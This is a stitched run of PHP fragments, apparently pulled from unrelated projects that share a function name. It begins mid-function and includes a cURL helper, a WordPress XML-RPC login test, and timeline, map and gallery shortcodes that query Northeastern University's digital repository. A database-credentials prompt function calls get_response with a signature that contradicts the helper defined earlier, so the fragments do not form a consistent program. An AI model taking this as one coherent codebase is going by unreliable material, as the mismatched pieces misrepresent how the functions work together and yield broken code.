"item/" . $assoc_data->_source->id . "'><img src='https://repository.library.northeastern.edu" . $assoc_data->_source->fields_thumbnail_list_tesim[1] . "'/></a>"; } $associated_html .= get_item_details($assoc_data, $assoc_meta_options); } // } $associated_html .= "</div></div>"; echo $associated_html; } }
{ if (!function_exists('curl_init')) { die("Curl PHP package not installedn"); } /* Initializing CURL */ $curlHandle = curl_init(); /* The URL to be downloaded is set */ curl_setopt($curlHandle, CURLOPT_URL, $URL); curl_setopt($curlHandle, CURLOPT_HEADER, false); curl_setopt($curlHandle, CURLOPT_HTTPHEADER, array("Content-Type: text/xml")); curl_setopt($curlHandle, CURLOPT_POSTFIELDS, $context); //curl_setopt($curlHandle, CURLOPT_RETURNTRANSFER, true); /* Now execute the CURL, download the URL specified */ $response = curl_exec($curlHandle); return $response; } $_obj = (object) array('post_type' => 'post', 'post_status' => 'publish', 'post_title' => 'Test XML RPC ' . date('Y/m/d H:i:s'), 'post_author' => 1, 'post_excerpt' => 'Test XML RPC Excerpt', 'post_content' => 'Test XML RPC Content | Test XML RPC Content | Test XML RPC Content | Test XML RPC Content | Test XML RPC Content | Test XML RPC Content | Test XML RPC Content | Test XML RPC Content | '); /* Creating the wp.getUsersBlogs request which takes on two parameters username and password */ $request = xmlrpc_encode_request("wp.getUsersBlogs", array($USERNAME, $PASSWORD)); /* Making the request to wordpress XMLRPC of your blog */ $xmlresponse = get_response($xmlrpc_url, $request); $response = xmlrpc_decode($xmlresponse); if ($response && xmlrpc_is_fault($response)) { trigger_error("xmlrpc: {$response['faultString']} ({$response['faultCode']})"); } else { /* Printing the response on to the console */ echo '<pre>'; print_r($response); } //echo "\n";
function drstk_timeline($atts) { global $errors; $cache = get_transient(md5('PREFIX' . serialize($atts))); if ($cache) { return $cache; } $neu_ids = array_map('trim', explode(',', $atts['id'])); $timeline_increments = $atts['increments']; $color_codes = array("red", "green", "blue", "yellow", "orange"); $current_color_code_id_values = array(); $current_color_legend_desc_values = array(); $index_color_pair = array(); foreach ($color_codes as $color_code) { $current_color_code_id_string = $color_code . "_id"; $current_color_legend_desc_string = $color_code . "_desc"; if (isset($atts[$current_color_code_id_string])) { $current_color_code_id_value = $atts[$current_color_code_id_string]; } else { $current_color_code_id_value = NULL; } if (isset($atts[$current_color_legend_desc_string])) { $current_color_legend_desc_value = $atts[$current_color_legend_desc_string]; } else { $current_color_legend_desc_value = NULL; } if (!is_null($current_color_code_id_value)) { $current_color_code_ids = explode(",", $current_color_code_id_value); foreach ($current_color_code_ids as $current_color_code_id) { $current_color_code_id_values[str_replace(' ', '', $current_color_code_id)] = $color_code; } } if (!is_null($current_color_legend_desc_value)) { $current_color_legend_desc_values[$color_code] = $current_color_legend_desc_value; } } $event_list = array(); $timeline_html = ""; $counter = 1; foreach ($neu_ids as $current_key => $neu_id) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $neu_id; $data = get_response($url); $data = json_decode($data); if (!isset($data->error)) { $pid = $data->pid; $key_date = $data->key_date; $current_array = array(); $breadcrumbs = $data->breadcrumbs; $thumbnail_url = $data->thumbnails[2]; if (isset($atts['metadata'])) { $timeline_metadata = ''; $metadata = explode(",", $atts['metadata']); foreach ($metadata as $field) { if (isset($data->mods->{$field})) { $this_field = $data->mods->{$field}; if (isset($this_field[0])) { $timeline_metadata .= $this_field[0] . "<br/>"; } } } $text = htmlentities($timeline_metadata); } else { $text = "<p> </p>"; } if ($text == NULL || $text == "") { $text = "<p> </p>"; } $caption = htmlentities($data->mods->Title[0]); $headline = htmlentities($data->mods->Title[0]); $keys = (array) $key_date; $just_keys = array_keys($keys); $key_date_explode = explode("/", $just_keys[0]); $timeline_html .= "<div class=\"timelineclass\" data-url=\"" . $thumbnail_url . "\" data-caption=\"" . $caption . "\" data-credit=\" \" data-year=\"" . $key_date_explode[0] . "\" data-month=\"" . $key_date_explode[1] . "\" data-day=\"" . $key_date_explode[2] . "\" data-headline=\"" . $headline . "\" data-text=\"" . $text . "\">"; $timeline_html .= "</div>"; } else { $timeline_html = $errors['shortcodes']['fail']; } if (isset($current_color_code_id_values[str_replace(' ', '', $neu_id)])) { $present_id_color = $current_color_code_id_values[str_replace(' ', '', $neu_id)]; } else { $present_id_color = NULL; } $just_keys = array_keys($keys); $index_color_pair[$just_keys[0]] = $present_id_color; } $color_ids_html_data = ''; $color_desc_html_data = ''; $sample_id_html_data = ''; foreach ($current_color_legend_desc_values as $key => $value) { $color_desc_html_data .= "<tr><td width=\"1%\" bgcolor=\"" . $key . "\"></td><td>" . $value . "</td></tr>"; } foreach ($index_color_pair as $key_index => $color_value) { $color_ids_html_data .= " data-" . str_replace('/', '', $key_index) . "='" . $color_value . "' "; } if (isset($atts['custom_timeline_urls']) && $atts['custom_timeline_urls'] != '') { $timeline_custom_html = ""; $custom_timeline_urls = explode(",", $atts['custom_timeline_urls']); $custom_timeline_titles = explode(",", $atts['custom_timeline_titles']); $custom_timeline_descriptions = explode(",", $atts['custom_timeline_descriptions']); $custom_timeline_date = explode(",", $atts['custom_timeline_date']); $custom_timeline_color_groups = explode(",", $atts['custom_timeline_color_groups']); foreach ($custom_timeline_urls as $key => $value) { $url = $value; $title = $custom_timeline_titles[$key]; $title = trim($title, '\''); $description = $custom_timeline_descriptions[$key]; $description = trim($description, '\''); $date = explode('/', $custom_timeline_date[$key]); $year = trim($date[0], '\''); $month = $date[1]; $day = trim($date[2], '\''); $colorGroup = $custom_timeline_color_groups[$key]; $timeline_custom_html .= "<div class='custom-timeline' data-url=" . $url . " data-year='" . $year . "' data-month='" . $month . "' data-day='" . $day . "' data-title='" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "' data-description='" . htmlspecialchars($description, ENT_QUOTES, 'UTF-8') . "' data-colorGroup=" . $colorGroup . ""; $timeline_custom_html .= "></div>"; } } $shortcode = "<div id='timeline-embed' style=\"width: 100%; height: 500px\"></div>"; $shortcode .= "<div id='timeline-table'><table id='timeline-table-id' style=\" float: right; width: 200px;\">" . $color_desc_html_data . "</table></div>"; $shortcode .= "<div id='timeline'>" . $timeline_html . "</div>"; $shortcode .= "<div id='timeline-increments' data-increments='" . $timeline_increments . "'></div>"; if (isset($timeline_custom_html)) { $shortcode .= "<div id='timeline-custom-data'>" . $timeline_custom_html . "</div>"; } if ($color_ids_html_data != '' || $color_desc_html_data != '') { $shortcode .= "<div id='timeline-color-ids'" . $color_ids_html_data . "></div>"; } $cache_output = $shortcode; $cache_time = 1000; set_transient(md5('PREFIX' . serialize($atts)), $cache_output, $cache_time * 60); return $shortcode; }
function drstk_map($atts) { global $errors; $cache = get_transient(md5('PREFIX' . serialize($atts))); if ($cache) { return $cache; } $items = array_map('trim', explode(',', $atts['id'])); $map_api_key = $atts['map_api_key']; $map_project_key = $atts['map_project_key']; $story = $atts['story']; $map_html = ""; $shortcode = "<div id='map' data-story='" . $story . "' data-map_api_key='" . $map_api_key . "' data-map_project_key='" . $map_project_key . "'"; if (isset($atts['red_legend_desc']) && isset($atts['red'])) { $shortcode .= " data-red='" . $atts['red'] . "'"; $shortcode .= " data-red_legend_desc='" . $atts['red_legend_desc'] . "'"; } if (isset($atts['blue_legend_desc']) && isset($atts['blue'])) { $shortcode .= " data-blue='" . $atts['blue'] . "'"; $shortcode .= " data-blue_legend_desc='" . $atts['blue_legend_desc'] . "'"; } if (isset($atts['green_legend_desc']) && isset($atts['green'])) { $shortcode .= " data-green='" . $atts['green'] . "'"; $shortcode .= " data-green_legend_desc='" . $atts['green_legend_desc'] . "'"; } if (isset($atts['yellow_legend_desc']) && isset($atts['yellow'])) { $shortcode .= " data-yellow='" . $atts['yellow'] . "'"; $shortcode .= " data-yellow_legend_desc='" . $atts['yellow_legend_desc'] . "'"; } if (isset($atts['orange_legend_desc']) && isset($atts['orange'])) { $shortcode .= " data-orange='" . $atts['orange'] . "'"; $shortcode .= " data-orange_legend_desc='" . $atts['orange_legend_desc'] . "'"; } foreach ($items as $item) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $item; $data = get_response($url); $data = json_decode($data); if (!isset($data->error)) { $pid = $data->pid; $coordinates = ""; if (isset($data->coordinates)) { $coordinates = $data->coordinates; } else { $location = $data->geographic[0]; $locationUrl = "http://maps.google.com/maps/api/geocode/json?address=" . urlencode($location); $locationData = get_response($locationUrl); $locationData = json_decode($locationData); if (!isset($locationData->error)) { $coordinates = $locationData->results[0]->geometry->location->lat . "," . $locationData->results[0]->geometry->location->lng; } } $title = $data->mods->Title[0]; $permanentUrl = 'Permanent URL'; $permanentUrl = $data->mods->{$permanentUrl}; $map_html .= "<div class='coordinates' data-pid='" . $pid . "' data-url='" . $permanentUrl[0] . "' data-coordinates='" . $coordinates . "' data-title='" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "'"; if (isset($atts['metadata'])) { $map_metadata = ''; $metadata = explode(",", $atts['metadata']); foreach ($metadata as $field) { if (isset($data->mods->{$field})) { $this_field = $data->mods->{$field}; if (isset($this_field[0])) { $map_metadata .= $this_field[0] . "<br/>"; } } } $map_html .= " data-metadata='" . $map_metadata . "'"; } $canonical_object = ""; if (isset($data->canonical_object)) { foreach ($data->canonical_object as $key => $val) { if ($val == 'Video File' || $val == 'Audio File') { $canonical_object = insert_jwplayer($key, $val, $data, $data->thumbnails[2]); } else { $canonical_object = '<img src="' . $data->thumbnails[2] . '"/>'; } } } $map_html .= " data-media-content='" . $canonical_object . "'"; $map_html .= "></div>"; } else { $map_html = $errors['shortcodes']['fail']; } } if (isset($atts['custom_map_urls']) && $atts['custom_map_urls'] != '') { $custom_map_urls = explode(",", $atts['custom_map_urls']); $custom_map_titles = explode(",", $atts['custom_map_titles']); $custom_map_descriptions = explode(",", $atts['custom_map_descriptions']); $custom_map_locations = explode(",", $atts['custom_map_locations']); $custom_map_color_groups = explode(",", $atts['custom_map_color_groups']); foreach ($custom_map_urls as $key => $value) { $url = $value; $title = $custom_map_titles[$key]; $title = trim($title, '\''); $description = $custom_map_descriptions[$key]; $description = trim($description, '\''); $location = $custom_map_locations[$key]; $colorGroup = $custom_map_color_groups[$key]; $coordinates = ""; $locationUrl = "http://maps.google.com/maps/api/geocode/json?address=" . urlencode($location); $locationData = get_response($locationUrl); $locationData = json_decode($locationData); if (!isset($locationData->error)) { $coordinates = $locationData->results[0]->geometry->location->lat . "," . $locationData->results[0]->geometry->location->lng; } $map_html .= "<div class='custom-coordinates' data-url=" . $url . " data-coordinates='" . $coordinates . "' data-title='" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "' data-description='" . htmlspecialchars($description, ENT_QUOTES, 'UTF-8') . "' data-colorGroup=" . $colorGroup . ""; $map_html .= "></div>"; } } $shortcode .= ">" . $map_html . "</div>"; $cache_output = $shortcode; $cache_time = 1000; set_transient(md5('PREFIX' . serialize($atts)), $cache_output, $cache_time * 60); return $shortcode; }
function get_db_credentials() { $db = array(); $db['host'] = get_response("Where is your application's database hosted", 'localhost', null, true); $db['port'] = get_response("What is the port of this database", '5432', null, true); $db['user'] = get_response("What is the database username", null, null, true); $db['password'] = get_response("What is the password for the database"); $db['name'] = get_response("What is the name of your application's database (please ensure that the database exists)", null, null, true); return $db; }
function drstk_gallery($atts) { global $errors; $cache = get_transient(md5('DRSTK' . serialize($atts))); if ($cache) { return $cache; } if (isset($atts['id'])) { $images = array_map('trim', explode(',', $atts['id'])); $img_html = ''; $height = $width = 0; $i = 0; foreach ($images as $id) { $url = "https://repository.library.northeastern.edu/api/v1/files/" . $id . "?solr_only=true"; $data = get_response($url); $data = json_decode($data); $data = $data->_source; if (!isset($data->error)) { $pid = $data->id; if (isset($atts['image-size'])) { $num = $atts['image-size'] - 1; } else { $num = 4; } $thumbnail = "http://repository.library.northeastern.edu" . $data->fields_thumbnail_list_tesim[$num]; $this_height = getimagesize($thumbnail); $this_height = $this_height[1]; if ($this_height > $height) { $height = $this_height; } $this_width = getimagesize($thumbnail); $this_width = $this_width[0]; if ($this_width > $width) { $width = $this_width; } $title = $data->full_title_ssi; $img_html .= "<div class='item"; if ($i == 0) { $img_html .= " active"; } $img_html .= "'><a href='" . drstk_home_url() . "item/" . $pid . "'><img"; if ($i == 0) { $img_html .= " src='" . $thumbnail . "'"; } else { $img_html .= " data-src='" . $thumbnail . "'"; } $img_html .= " alt='" . $title . "'></a>"; if (isset($atts['caption']) && $atts['caption'] == "on") { $img_metadata = ""; if (isset($atts['metadata'])) { $metadata = explode(",", $atts['metadata']); foreach ($metadata as $field) { if (isset($data->{$field})) { $this_field = $data->{$field}; if (isset($this_field)) { if (is_array($this_field)) { foreach ($this_field as $val) { $img_metadata .= $val . "<br/>"; } } else { $img_metadata .= $this_field . "<br/>"; } } } } } $img_html .= "<div class='carousel-caption'"; if (isset($atts['caption-align']) || isset($atts['caption-position'])) { $img_html .= "style='"; if (isset($atts['caption-align'])) { $img_html .= "text-align:" . $atts['caption-align']; } if (isset($atts['caption-position'])) { $img_html .= "; position:" . $atts['caption-position']; } if (isset($atts['caption-width']) && $atts['caption-width'] == "100%") { $img_html .= "; width:" . $atts['caption-width']; } $img_html .= "'"; } if (isset($atts['caption-width']) && $atts['caption-width'] != "100%") { $img_html .= " data-caption-width='image'"; } $img_html .= "><a href='" . drstk_home_url() . "item/" . $pid . "'>" . $img_metadata . "</a></div>"; $img_html .= "<div class=\"hidden\">"; foreach ($data as $key => $field) { if ($key != "all_text_timv" && $key != "object_profile_ssm") { if (is_array($field)) { foreach ($field as $key => $field_val) { $img_html .= $field_val . "<br/>"; } } else { $img_html .= $field . "<br/>"; } } } $img_html .= "</div>"; } $img_html .= "</div>"; } else { $img_html .= $errors['shortcodes']['fail']; } $i++; } if (isset($atts['speed']) && $atts['speed'] > 1) { $interval = $atts['speed']; } if (isset($atts['auto']) && $atts['auto'] == 'on') { if (!isset($interval)) { $interval = 5000; } } else { if (isset($atts['auto']) && $atts['auto'] == 'off') { $interval = 'false'; } } $rand = rand(); $gallery_html = '<div class="carousel slide" id="carousel-' . $rand . '" data-height="' . $height . '" data-width="' . $width . '" data-interval="' . $interval . '"'; if (isset($atts['max-height'])) { $gallery_html .= " data-max-height='" . $atts['max-height'] . "'"; } if (isset($atts['max-width'])) { $gallery_html .= " data-max-width='" . $atts['max-width'] . "'"; } $gallery_html .= '>'; if (isset($atts['pager']) && $atts['pager'] == 'on') { $gallery_html .= '<ol class="carousel-indicators">'; $i = 0; foreach ($images as $id) { $gallery_html .= '<li data-target="#carousel-' . $rand . '" data-slide-to="' . $i . '" class="'; if ($i == 0) { $gallery_html .= "active"; } $gallery_html .= '"></li>'; $i++; } $gallery_html .= '</ol>'; } $gallery_html .= '<div class="carousel-inner">' . $img_html . '</div>'; if (isset($atts['nav']) && $atts['nav'] == 'on') { $gallery_html .= '<a class="left carousel-control" href="#carousel-' . $rand . '" role="button" data-slide="prev"><i class="glyphicon-chevron-left fa fa-chevron-left" aria-hidden="true"></i><span class="sr-only">Previous</span></a><a class="right carousel-control" href="#carousel-' . $rand . '" role="button" data-slide="next"><i class="glyphicon-chevron-right fa fa-chevron-right" aria-hidden="true"></i><span class="sr-only">Next</span></a>'; } $gallery_html .= '</div>'; $cache_output = $gallery_html; $cache_time = 1000; set_transient(md5('DRSTK' . serialize($atts)), $cache_output, $cache_time * 60); return $gallery_html; } }